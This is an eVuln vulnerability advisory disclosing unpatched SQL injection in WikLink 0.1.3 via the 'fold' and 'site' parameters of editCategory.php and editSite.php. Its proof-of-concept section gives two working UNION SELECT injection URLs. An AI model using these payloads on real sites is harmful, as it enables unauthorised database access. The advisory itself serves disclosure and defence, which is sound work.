www.eVuln.com advisory:
"fold" and "site" SQL Injections in WikLink
Summary: http://evuln.com/vulns/172/summary.html 
Details: http://evuln.com/vulns/172/description.html 

-----------Summary-----------
eVuln ID: EV0172
Software: WikLink
Vendor: n/a
Version: 0.1.3
Critical Level: medium
Type: SQL Injection
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )

--------Description--------
It is possible to inject arbitrary SQL query using "fold" and "site" parameters in "editCategory.php" and "editSite.php"  scripts.

Parameters "fold" and "site" are used in SQL query without any sanitation.

Condition: magic_quotes: off

--------PoC/Exploit--------
SQL Injection PoC code.

SQL Injection example1:
http://website/wiklink/editCategory.php?action=edit&fold=9999'%20union%20select%201,2,3,4/*

SQL Injection example2:
http://website/wiklink/editSite.php?action=edit&site=999'%20union%20select%201,2,3,4,5/*
---------Solution----------
Not available

----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/auth-bypass/ - recent authentication bypass evuln advisories.